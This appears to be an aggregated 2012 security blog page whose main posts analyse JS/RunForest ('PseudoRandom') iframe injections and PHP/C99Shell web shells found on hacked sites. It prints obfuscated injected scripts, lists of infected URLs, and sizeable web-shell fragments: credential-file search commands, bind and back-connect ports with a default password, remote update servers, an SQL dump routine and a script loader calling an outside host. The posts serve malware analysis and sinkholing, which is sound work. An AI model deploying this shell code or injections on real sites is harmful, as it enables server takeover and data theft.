Chủ Nhật, 7 tháng 10, 2012

I recently had an e-mail from Kyle at kcsoftwares.com, regarding his sites listing in hpHosts.

Sadly, OVH are still blocking my emails, and as he used OVH for his mail server, my reply to his email got blocked as well (blocked emails to OVH show as a timeout when attempting to send the email to addresses using their mail server - rather annoying given other mail servers at least send a rejection

Thứ Bảy, 6 tháng 10, 2012

Tired from lack of sleeping for weekend server-deployment in IDC, arrived home and just join #MalwareMustDie hunting session. Somehow I found myself tracing the latest infections spread by JS/runforestrun?xxx= infection, and found some new information, which I don't think my usually pastebin info-sharing will be enough to express it, so I write in this blog.
I am half sleepy writing this, so if I miss something please kindly forgive..

BACKGROUND

1. The research material (as per infected ITW/Pseudo Random sites data on Oct 5-6, 2012)

I found the three type of the obfuscation method used based on the original PseudoDrandom or JS/runforestrun?xxx= in the wild currently actively infecting inject-able html files on every websites in internet, pls spare me and just let's call these type as A, B, C:

Type A are the latest known urls which most detection show JS/RunForest.C or JS/RunForest.C.1 The currently alive samples infection urls is as below:

h00p://www.shamballa・fr/
h00p://www.druidenwerk・de/plugins/mediabox/1.4.6/js/mediabox.js
h00p://www.krrb.org・in/
h00p://saleminternet・net/
h00p://www.interasia・co.in/
h00p://pinkjizz・com/flowplayer-3.1.4.min.js
(etc)
Type B is the urls below, which some scanner shows JS/RunForest.Q
h00p://www.scuolalorenzini・it/
h00p://www.scuolalorenzini・it/wordpress/wp-content/themes/lorenzini6/swfobject.js/
(etc)
Type C is the urls below, detected as: JS/RunForest.J
h00p://www.narcis.es/
h00p://www.narcis.es/?lang=en
2. The fact that obfuscation level is a bit increasing..

Type A is using new obfuscation code like below:

<script>/*km0ae9gr6m*/window.eval(String.fromCharCode(116,114,121,123,112
2,101,37,50,59,125,99,97,116,99,104,40,97,115,100,41,123,120,61,50,59,125,1
,111,99,117,109,101,110,116,91,40,120,41,63,34,99,34,43,34,114,34,58,50,43,
:
1,63,34,67,111,100,101,34,58,34,34,41,59,102,111,114,40,59,49,55,55,54,45
61,49,41,123,106,61,105,59,105,102,40,101,41,115,61,115,43,114,91,102,114
11,100,101,34,58,49,50,41,93,40,40,119,91,106,93,47,40,53,43,101,40,34,10
25,10,105,102,40,102,41,101,40,115,41,59,125,10));/*qhk6sa6g1c*/</script>
Which uncrackable by automatic tools without using modification.. PS: Malware Names as per check in VT(27/43)--->>[HERE]
MicroWorld-eScan         : Trojan.JS.Iframe.BTN
nProtect : Trojan.JS.Iframe.BTN
CAT-QuickHeal : JS/BlacoleRef.BOP
McAfee : JS/Exploit-Blacole.eu
K7AntiVirus : Trojan
F-Prot : JS/IFrame.QW
Norman : Blacole.JF
ESET-NOD32 : JS/Kryptik.QN
Avast : JS:Agent-ADY [Trj]
Kaspersky : Trojan-Downloader.JS.Expack.vu
BitDefender : Trojan.JS.Iframe.BTN
Emsisoft : Exploit.JS.Blacole!IK
Comodo : TrojWare.JS.Agent.EGB
F-Secure : Trojan.JS.Iframe.BTN
VIPRE : Trojan.JS.Generic (v)
AntiVir : JS/RunForest.C.1
McAfee-GW-Edition : Heuristic.BehavesLike.JS.Infected.G
Sophos : Mal/Iframe-AF
Jiangmin : Trojan/Script.Gen
Microsoft : Trojan:JS/BlacoleRef.W
GData : Trojan.JS.Iframe.BTN
Commtouch : JS/IFrame.QW
AhnLab-V3 : JS/Agent
Ikarus : Exploit.JS.Blacole
Fortinet : JS/Expack.VT!tr
AVG : Exploit

Type B is like below code:

<script>var var1=true;var var2=10;var2++;var var6=0.0025;if(var6=
ar5-=0.022;var var6=5685;var6--}var var5=57;var var8=0;do{var var
r var21=4053;if(var21>0.038){var var17=5470;var17--;var var20=22;
ar var32=8980;var32--}function hae(key,mir){var var34=0.031;if(va
r var42=0.009;var42+=0.004;var var43=0;var43+=0.003;var4+='cvCode
0;var53<10;var53++){var var54=null;var54-=0.0082}var3+='BjMxOfXg'
var6-=10;var var64=0.0079;var sux='0123456789ABCDEFGHIJKLMNOPQRST
tr[var1];var var76=0.032;for(var cnt1=0;cnt1<len;cnt1++){function
h);for(var var87=0;var87<5;var87++){var var88=0;var88+=0.008;var
ar101-=0.0147;var var102=0.001;var102--}function man(and,qua){for
 :
ar var8=4014;if(var8!=3947){var var4=21;if(var4!=0.0116){var var2
ar4=0.052;if(var4!=2753){var var2=true;var var3=['apt','gag']}ret
var13=0.017;if(var13!=0){var var12=4296}}}} var str='';functi
','has','ire'];var24++}while(var24<5);return zig} str+=let
r26-=5819;var var27=0.003;var27++}}}var var31=[0,70,50,30,10,20,6
,got,nut){for(var var38=0;var38<9;var38++){var var39=8962;var39++
sr'+'c', 'h00p://'+domainName+'/in.cgi?14'); var var49=4490;var49
ifrm.style.visibility='hidden'; var var58='YKtHrZfxVR';
↑The script is shown perfectly clear, all you have to do is just figure the domain name for it.. PS: Malware Names as per check in VT(9/43)--->>[HERE]
F-Secure                 : Trojan.Iframe.BDG
GData : Trojan.Iframe.BDG
AntiVir : JS/RunForest.Q
eScan : Trojan.Iframe.BDG
nProtect : Trojan.Iframe.BDG
BitDefender : Trojan.Iframe.BDG
Ikarus : Trojan.IFrame

And the type C looks like as per exposed in the previous post as per written here ---->>[PREVIOUS-POST PSEUDO RANDOM]

3. Aggressive infection of Pseudorandom urls type A


Type A is somehow aggressively came out from nowhere to infect sites
with multiple infection urls, with using more than one pattern/structure,
Below is real sample of one domain infected by Pseudorandom aggressive infector:
(This is the #hint for our friends in #MalwareMustDie to dig deeper)

Pattern 1 (common ones)
h00p://www.rubberstampguides.com/rules-
h00p://www.rubberstampguides.com/rules-in-stamp-making/
Pattern 2 (longer ones with encoded %E2%80%99 string "'")
h00p://www.rubberstampguides.com/how-to-improve-one%E2%80%99s-business-with-rubber-stamps/?s-business-with-rubber-stamps???s-business-with-rubber-stamps/?s-business-with-rubber-stamps???s-business-with-rubber-stamps/?s-business-with-rubber-stamps?s-business-with-rubber-stamps
h00p://www.rubberstampguides.com/how-to-improve-one%E2%80%99s-business-with-rubber-stamps/?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps???s-business-with-rubber-stamps/?s-business-with-rubber-stamps?s-business-with-rubber-stamps
h00p://www.rubberstampguides.com/how-to-improve-one%E2%80%99s-business-with-rubber-stamps/???s-business-with-rubber-stamps/?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps
h00p://www.rubberstampguides.com/how-to-improve-one%E2%80%99s-business-with-rubber-stamps/?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps???s-business-with-rubber-stamps/?s-business-with-rubber-stamps
h00p://www.rubberstampguides.com/how-to-improve-one%E2%80%99s-business-with-rubber-stamps/?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps
h00p://www.rubberstampguides.com/how-to-improve-one%E2%80%99s-business-with-rubber-stamps/?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps???s-business-with-rubber-stamps/?s-business-with-rubber-stamps
h00p://www.rubberstampguides.com/how-to-improve-one%E2%80%99s-business-with-rubber-stamps/?s-business-with-rubber-stamps???s-business-with-rubber-stamps/?s-business-with-rubber-stamps?s-business-with-rubber-stamps
h00p://www.rubberstampguides.com/how-to-improve-one%E2%80%99s-business-with-rubber-stamps/?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps???s-business-with-rubber-stamps/?s-business-with-rubber-stamps
Pattern 3 - Repeatedly loops url-subdirs
h00p://www.rubberstampguides.com/how-to-improve-one?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps???s-business-with-rubber-stamps/?s-business-with-rubber-stamps
h00p://www.rubberstampguides.com/how-to-improve-one?s-business-with-rubber-stamps???s-business-with-rubber-stamps/?s-business-with-rubber-stamps???s-business-with-rubber-stamps/?s-business-with-rubber-stamps?s-business-with-rubber-stamps
h00p://www.rubberstampguides.com/how-to-improve-one?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps???s-business-with-rubber-stamps/?s-business-with-rubber-stamps
h00p://www.rubberstampguides.com/how-to-improve-one?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps
h00p://www.rubberstampguides.com/how-to-improve-one?s-business-with-rubber-stamps?s-business-with-rubber-stamps?s-business-with-rubber-stamps???s-business-with-rubber-stamps/?s-business-with-rubber-stamps
h00p://www.rubberstampguides.com/how-to-improve-one?s-business-with-rubber-stamps???s-business-with-rubber-stamps/?s-business-with-rubber-stamps?s-business-with-rubber-stamps
↑These infected urls doesn't look good at all, does it? Which making me think it would be better to explain my poor way in cracking the Type A Obfuscation as per written below, with hope that some automation system can adjust and make the adjustment necessary.. [Additional] The Type A infection aiming vBulletin forum scripts You can see the PoC details of this analysis here in pastebin--->>[HERE] MANUAL OBFUSCATION METHOD (PSEUDO RANDOM DEOBFS SPECIFIC) Let's take an example of the first url shown above:
h00p://www.shamballa.fr/
I fetch it from my FreeBSD box with hiding my credentials...
--22:28:11--  http://www.shamballa.fr/
=> `index.html'
Resolving www.shamballa.fr... 213.246.49.160
Connecting to www.shamballa.fr|213.246.49.160|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22,742 (22K) [text/html]
22:28:13 (33.66 KB/s) - `index.html' saved [22742/22742]
The file inside looks like this Pastebin --->>[HERE] ..looks nice & long.. Running this url in "browser logic" may ending up to log like this:
[h00p] URL: h00p://www・shamballa.fr/ (Status: 200, Referrer: None)
<meta content="0; URL=site/" h00p-equiv="Refresh"/>
[Navigator URL Translation] site/ --> h00p://www・shamballa.fr/site/
[h00p] URL: h00p://www・shamballa.fr/site/ (Status: 200, Referrer: h00p://www・shamballa.fr/)
[h00p Redirection (Status: 302)] Content-Location: h00p://www・shamballa.fr/site/ --> Location: h00p://www・shamballa.fr/site/FlashIntro/FlashIntro.aspx
[Navigator URL Translation] site/ --> h00p://www・shamballa.fr/site/
[h00p] URL: h00p://www・shamballa.fr/site/ (Status: 200, Referrer: h00p://www・shamballa.fr/)
[h00p Redirection (Status: 302)] Content-Location: h00p://www・shamballa.fr/site/ --> Location: h00p://www・shamballa.fr/site/FlashIntro/FlashIntro.aspx
<object align="" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="h00p://download.macromedia.com/pub/sh
ockwave/cabs/flash/swflash.cab#version=7,0,0,0" height="250" id="thaflash" style="z-index:1" width="500">
<param name="wmode" value="transparent"></param>
<param name="movie" value="default.swf"></param>
<param name="quality" value="high"></param>
<param name="Scale" value="ShowAll"></param>
<param name="wmode" value="opaque"></param>
<param name="FlashVars" value="BackgroundId=1&ObjectId=1&Text1=Shamballa.fr&Text2=%22Comment+faire+pour+emp%c3%aacher+une+larme+de+s%c3%a9cher+%3f+On+la+prend+d%c3%a9licatement+et+on+la+d%c3%a9pose+dans+l%26apos%3boc%c3%a9an+!+"></param>
<embed align="" bgcolor="#ffffff" flashvars="BackgroundId=1&ObjectId=1&Text1=Shamballa.fr&Text2=%22Comment+faire+pour+emp%c3%aacher+une+larme+de+s%c3%a9cher+%3f+On+la+prend+d%c3%a9licatement+et+on+la+d%c3%a9pose+dans+l%26apos%3boc%c3%a9an+!+" height="250" name="thaflash" pluginspage="h00p://www・macromedia.com/go/getflashplayer" quality="high" src="default.swf" type="application/x-shockwave-flash" width="500" wmode="opaque"></embed>
</object>
[Shellcode Analysis] URL Detected: h00p://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0
[h00p] URL: h00p://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0 (Status: 200, Referrer: h00p://www・shamballa.fr/)
[h00p Redirection (Status: 302)] Content-Location: h00p://download.macromedia.com/pub/shockwave/cabs/flash/swflash.ca
b#version=7,0,0,0 --> Location: h00p://fpdownload2.macromedia.com/get/shockwave/cabs/flash/swflash.cab
Saving remote content at h00p://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0 (MD5: 97e6d7379f4fab31df4f89fec878765d)
ActiveXObject: D27CDB6E-AE6D-11CF-96B8-444553540000
<meta content="text/html; charset=utf-8" h00p-equiv="Content-Type"/>
<meta name="KEYWORDS"/>
<meta name="DESCRIPTION"/>
<meta content="Parallels Plesk Sitebuilder 4.5 for Windows" name="GENERATOR"/>
[Meta] Generator: Parallels Plesk Sitebuilder 4.5 for Windows
<param name="wmode" value="transparent"></param>
<param name="movie" value="default.swf"></param>
[Navigator URL Translation] default.swf --> h00p://www・shamballa.fr/default.swf
[h00p] URL: h00p://www・shamballa.fr/default.swf (Status: 404, Referrer: h00p://www・shamballa.fr/)
FileNotFoundError: h00p://www・shamballa.fr/default.swf
<param name="quality" value="high"></param>
<param name="Scale" value="ShowAll"></param>
<param name="wmode" value="opaque"></param>
<param name="FlashVars" value="BackgroundId=1&ObjectId=1&Text1=Shamballa.fr&Text2=%22Comment+faire+pour+emp%c3%aacher+une+larme+de+s%c3%a9cher+%3f+On+la+prend+d%c3%a9licatement+et+on+la+d%c3%a9pose+dans+l%26apos%3boc%c3%a9an+!+"></param>
<embed align="" bgcolor="#ffffff" flashvars="BackgroundId=1&ObjectId=1&Text1=Shamballa.fr&Text2=%22Comment+faire+pour+emp%c3%aacher+une+larme+de+s%c3%a9cher+%3f+On+la+prend+d%c3%a9licatement+et+on+la+d%c3%a9pose+dans+l%26apos%3boc%c3%a9an+!+" height="250" name="thaflash" pluginspage="h00p://www・macromedia.com/go/getflashplayer" quality="high" src="default.swf" type="application/x-shockwave-flash" width="500" wmode="opaque"></embed>
[Navigator URL Translation] default.swf --> h00p://www・shamballa.fr/default.swf
[h00p] URL: h00p://www・shamballa.fr/default.swf (Status: 404, Referrer: h00p://www・shamballa.fr/)
FileNotFoundError: h00p://www・shamballa.fr/default.swf
[Window] Eval argument length > 64 (7413)
[Window] Eval argument length > 64 (1776)
↑which making you think that no infection happened... While if you see the deobfuscated code closely you'll about to sure 99% that malwares did these injection. So.. we should CRACK it, manually. Deobfuscating stuff like this is faster to do it offline, use any SpiderMonkey base javascript emulator to see the flow and play with some string which cannot be run well and changed it with whatever variable accepted, and with luck you'll come to the first deobfuscation like this ---->>[HERE]The upper one is a one line code resulted by deobfs and the next part is - the readable format of it. So we have another deobfuscation level, so let's crack it again and you'll get the Pseudorandom code like this --->>[HERE] So we know this is the Pseudorandom code now, to go to payload just solved the code.. The key is in the randomized domain as per coded in IFRAME part in this line↓
ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=botnet2"); 
If we get the var domainName then we will sleep soon! This is my trick, the easy way; change the IFRAME part to look like this:
try{
var unix = Math.round(+new Date()/1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
document.write(domainName); //←THIS IS ADDED!!!
// ifrm = document.createElement("IFRAME");
// ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=botnet2");
// ifrm.style.width = "0px";
// ifrm.style.height = "0px";
// ifrm.style.visibility = "hidden";
// document.body.appendChild(ifrm);
}catch(e){}
↑Explanations:
1. Remove all functions related to the browser object, 2. Comment the ifrm object, and focus to see result of domainName by feeeding it up drectly to generatePseudoRandomString 3. Use the document.write command to burp domainName's value
Below is my deobfs tools, a proof of burping domain name: The code resulted to xiwlnutkxsqxwjge.ru which figuring the below malicious url used in the malicious IFRAME:
h00p://xiwlnutkxsqxwjge.ru/runforestrun?sid=botnet2
Notes:
1. If you use jsunpack, it cracked inly the first level of the code.. 2. If you use ****wet for example, it will be freezed, so dont do it until they update the engine to avoid the freezing..
!!NEW!! Additionals - PseudoRandom Logic Cracking #Tool With the team effort in #MalwareMustDie, with the contribution of anonymous researchers we are releasing the template to crack the JS/Runforrest a.k.a. PseudoRandom with the below "Neutralized" source code which can be used as ultimate code to crack PseudoRandom Infected Target URL, we call it "F*ck the dumbass" Script" :-)

F*ck the dumbass



HOW TO USE This tool: 1. You can copy this code locally and save it as HTML file, 2. Edit the contents of function generatePseudoRandomString, RandomNumberGenerator, and nextRandomNumber with the value you got during De-obfuscation 3. Run the HTML locally via your browser like screenshot below: ↑And click that button 4. The tool will calculate the time based random and burp you with the current value immediately as per below snapshot: 5. For the online demonstration of this tool, you can safely TRY it here--->>[ToolOnlineURL]6. Crusader's log: 7. A bruteforce method of the latest detected PseudoRandom can be viewed here-->>[HERE] These domains can be registered AND sinkholed to prevent next infections. Contributed in #MalwateMustDie session by @EricOpdyke : 8. The W****et #BUG in analyzing current sample is reported in public after being tweeted directly by the developer member as per:

#MalwareMustDie!

Thứ Sáu, 5 tháng 10, 2012

The hpHOSTS Hosts file has been updated. There is now a total of 184,831 listed hostsnames.If you are NOT using the installer, please read the included Readme.txt file for installation instructions. Enjoy! :)Latest Updated: 05/10/2012 23:15Last Verified: 04/10/2012 12:00Download hpHosts now!http://hosts-file.net/?s=Download

Thứ Năm, 4 tháng 10, 2012

The Federal Trade Commission has launched a major international crackdown on tech support scams in which telemarketers masquerade as major computer companies, con consumers into believing that their computers are riddled with viruses, spyware and other malware, and then charge hundreds of dollars to remotely access and “fix” the consumers’ computers.


At the request of the FTC, a U.S. District

Thứ Ba, 2 tháng 10, 2012

Looking at a recent case of a compromised site, I noticed something rather surprising - they're not even bothering to try and make the code difficult to decode. I'm pondering of course, the thought that this is deliberate, due to the changes in v2.0 of the Blackhole exploit (others have already written about that [1] [2], so won't go into that here), but even if this is the case, the choice of
As some of you know, I've been in the US for VB2012 and to visit the chaps and chapesses at the Malwarebytes HQ since September 24th, got back around mid-day on the 30th.

First and foremost, I'd like to say thank you to those involved in VB2012, as it was fantastic. Indeed, the only things I didn't like, were the bleedin heat (felt like I was melting), and the lack of both wifi and plug sockets

Thứ Hai, 1 tháng 10, 2012

*) This post is dedicated to MalwareMustDie Malware Crusaders team involved!

Maybe some of you read our previous blog (HERE) when we cracked last encrypted code used by gang of Pbot malware.
Recently we're on the Exploit Kit, but during last hunt we had in #MalwareMustDie, sniper team aimed different infector's vector. For example, in previous blog (HERE) we nailed a Shanghai Chinese individual who spread Online Game infectors Trojan using Exploit CVE-2012-1889.
BUT.. the fun of the week was actually when our sniper spotted the raising infections of the PHP/C99Shell malware! :-)
Our members cracked and exposed some cases in urls between Sept 28th to 30th regarding to the PHP/C99Shell. YES PHP/C99Shell might not in the AntiVirus companies FIRST agenda, but these threat is actually do the bigger damage to the servers, so we think you should know what we found. It was interesting findings and including some IMPORTANT information, so here we go!
PS: We're not going to expose them one by one (actually we did 12 cases of these), but we categozed them into the 3(three) interesting cases:


TYPE #1 - An SQL Database Dumper of PHP/C99Shell

We found it here: (still up, so you can check it out), yesterday log:
--16:05:18--  h00p://file-zona.com/uploads/asd.jpg     => `asd.jpg'
Resolving file-zona.com... 208.109.14.20
Connecting to file-zona.com|208.109.14.20|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44,234 (43K) [image/jpeg]
What looks like image is actually PHP script like: it has the obfuscation like below....
<?PHP
eval(gzinflate(base64_decode
7lKCUnNyKhDtPtsLCEynwLp9Q5o
DPM1bmLn/zGifwVJIc48pp5222L
IoaqAeRLYdLe83E2EhHWiLQhtt+
4JDzB++SGNLlaSsugjCaNOt/P3w
Which said "eval(gzinflate(base64_decode", if you run it in any PHP environment you'll get the eval as per shown in neutralized code here:--->>[PASTEBIN] The version and source url can be seen below:
 $shver = "2.0 madnet edition";
if (empty($surl))
{
$surl = $_SERVER['PHP_SELF'];
}
$surl = htmlspecialchars($surl);
$timelimit = 0;
$host_allow = array("*");
$login_txt = "Admin area";
$accessdeniedmess = "<a href=\"h00p://securityprobe.net\">c99madshell v.".$shver."</a>: access denied";
$gzipencode = TRUE;
$c99sh_sourcesurl = "h00p://ccteam.ru/files/c99sh_sources/";
Binding to these ports:
 $bindport_port = "31373";
$bc_port = "31373";
$datapipe_localport = "8081";
A nice interface will come up: It practically hacked the compromises system, like the snip below, current dir files , PHP config, web htaccess & shell data exposed..
   array("find all suid files", "find / -type f -perm -04000 -ls"),  
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config* files", "find / -type f -name \"config*\""),
array("find config* files in current dir", "find . -type f -name \"config*\""),
array("find all writable folders and files", "find / -perm -2 -ls"),
array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "
find . -type f -name .bash_history"),
array("find all .fetchmailrc files", "
find / -type f -name .fetchmailrc"),
array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
array("list file attributes on a Linux second extended file system", "lsattr -va"),
array("show opened ports", "netstat -an | grep -i listen") );
Can remotely intimate your server permissions bu Web GUI:
$owner["read"] = ($mode & 00400)?"r":"-";
$owner["write"] = ($mode & 00200)?"w":"-";
$owner["execute"] = ($mode & 00100)?"x":"-";
$group["read"] = ($mode & 00040)?"r":"-";
$group["write"] = ($mode & 00020)?"w":"-";
$group["execute"] = ($mode & 00010)?"x":"-";
$world["read"] = ($mode & 00004)?"r":"-";
$world["write"] = ($mode & 00002)? "w":"-";
$world["execute"] = ($mode & 00001)?"x":"-";
$o["r"] = ($mode & 00400) > 0;
$o["w"] = ($mode & 00200) > 0;
$o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0;
$g["w"] = ($mode & 00020) > 0;
$g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0;
$w["w"] = ($mode & 00002) > 0;
$w["x"] = ($mode & 00001) > 0;
SQL dumps (if there any database..)
function mysql_dump($set)
{ global $shver;
$sock = $set["sock"];
$db = $set["db"];
$print = $set["print"];
$nl2br = $set["nl2br"];
$file = $set["file"];
$add_drop = $set["add_drop"];
$tabs = $set["tabs"];
$onlytabs = $set["onlytabs"];
$ret = array();
$ret["err"] = array();
:
$out = "# Dumped by C99madShell.SQL v. ".$shver.
    "# Home page: http://securityprobe.net
    ## Host settings:# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")."
      (".getenv("SERVER_NAME").")"."# Date: ".date("d.m.Y H:i:s")."
     # DB: \"".$db."\"#---------------------------------------------------------";
$c = count($onlytabs);
foreach($tabs as $tab)
The detection ratio of this mess is as below VT:
MD5: 8b459895a539e944ed2fd07a518c93fe File size: 43.2 KB ( 44234 bytes ) File name: asd.jpg File type: PHP Tags: php Detection: 15 / 33 Analysis date: 2012-09-29 15:21:52 UTC ( 1 日, 16 時間 ago ) URL:--------->>[VirusTOTAL]
TYPE #2 - An injected/hacked html with the PHP/C99Shell Most of the PHP/C99Shell implemented in the site who has the FTP credential leaked or the PHP/FTP/CMS site which having remote file injection arbitrary flaw. It's rare but case like Exploit Kite injection code to the existing HTML also found. Below is the case:
--16:50:13--  hp://tours-first.com/About-the-UAE.html
=> `About-the-UAE.html'
Resolving tours-first.com... 79.124.76.125
Connecting to tours-first.com|79.124.76.125|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
16:50:18 (73.24 KB/s) - `About-the-UAE.html' saved [190110]
We neutralized the code of this page so you can see it here-->>[PASTEBIN] Snip of the PHP/C99Shell code was starting in the mid of HTML: It has the nice GUI too, like this: With the evil functions below: The backdoor: (see the decoded url parts)...
if ($surl_autofill_include and !$_REQUEST["k1r4_surl"]) {$include = "&"; 
foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v);
$name = urldecode($v[0]); $value = urldecode($v[1]);
foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle)
{if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}}
if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}</p><p>
:
$gzipencode = TRUE; //Encode with gzip?</p><p>
</p><p>
$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)</p><p>
</p><p>
$k1r4_updateurl = "h00p://emp3ror.com/kira//update/"; //Update server</p><p>
$k1r4_sourcesurl = "h00p://emp3ror.com/kira/"; //Sources-server</p><p>
:
$nixpwdperpage = 100; // Get first N lines from /etc/passwd</p><p>
</p><p>
$bindport_pass = "k1r4"; // default password for binding</p><p>
$bindport_port = "31373"; // default port for binding</p><p>
$bc_port = "31373"; // default port for back-connect</p><p>
$datapipe_localport = "8081"; // default port for datapipe</p><p>
</p><p>
Aiming windows OS too....
$win = strtolower(substr(PHP_OS,0,3)) == "win";</p><p>
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)</p><p>
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)</p><p>
;-) accidentally saw the actor contacts:
$log_email = "yarakam@gmail.com"; //Default e-mail for sending logs</p><p>
These are the file types definition used for this malwaare:
 "html"=>array("html","htm","shtml"),</p><p>
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),</p><p>
"exe"=>array("sh","install","bat","cmd"),</p><p>
"ini"=>array("ini","inf"),</p><p>
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),</p><p>
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),</p><p>
"sdb"=>array("sdb"),</p><p>
"phpsess"=>array("sess"),</p><p>
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")</p><p>
Main menu functions(Encoder, Tools, ProcessID, FTP Brute, SQL Dump, Bot Update, SelfRemove..)
array("<b>Encoder</b>",$surl."act=encoder&d=%d"),</p><p>
array("<b>Tools</b>",$surl."act=tools&d=%d"),</p><p>
array("<b>Proc.</b>",$surl."act=processes&d=%d"),</p><p>
array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),</p><p>
array("<b>Sec.</b>",$surl."act=security&d=%d"),</p><p>
array("<b>SQL</b>",$surl."act=sql&d=%d"),</p><p>
array("<b>PHP-code</b>",$surl."act=eval&d=%d"),</p><p>
array("<b>Update</b>",$surl."act=update&d=%d"),</p><p>
array("<b>Feedback</b>",$surl."act=feedback&d=%d"),</p><p>
array("<b>Self remove</b>",$surl."act=selfremove"),</p><p>
array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")</p><p>
Like previous one, has the same functions but this one is using cookie as one of security stuff..
 global $sess_data;</p><p>
k1r4_buff_prepare();</p><p>
$sess_data = $data;</p><p>
$data = serialize($data);</p><p>
setcookie($sess_cookie,$data);</p><p>}
It used obfuscation too :
<script type="text/javascript">document.write('\uOO3c\uOO53\uOO43\uOO52\uOO49\uOO5O\uOO54\uOO2O\uOO53\uOO52
\uOO43\uOO3d\uOO68\uOO74\uOO74\uOO7O\uOO3a\uOO2f\uOO2f\uOO77\uOO77\uOO77\uOO2e\uOO73\uOO68\uOO65\uOO6c\uOO6c
\uOO63\uOO69\uOO2e\uOO62\uOO69\uOO7a\uOO2f\uOO79\uOO61\uOO7a\uOO63\uOO69\uOO7a\uOO2f\uOO63\uOO69\uOO7a\uOO2e
\uOO6a\uOO73\uOO3e\uOO3c\uOO2f\uOO53\uOO43\uOO52\uOO49\uOO5O\uOO54\uOO3e')
</script>
leads to..
<SCRIPT SRC=h00p://www.shellci・biz/yazciz/ciz.js></SCRIPT>
Starting from line 1089 you'll see the dumping SQL data by hacking/using your own SQL database table to dumps and accessing it from remote...
?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php</p><p>
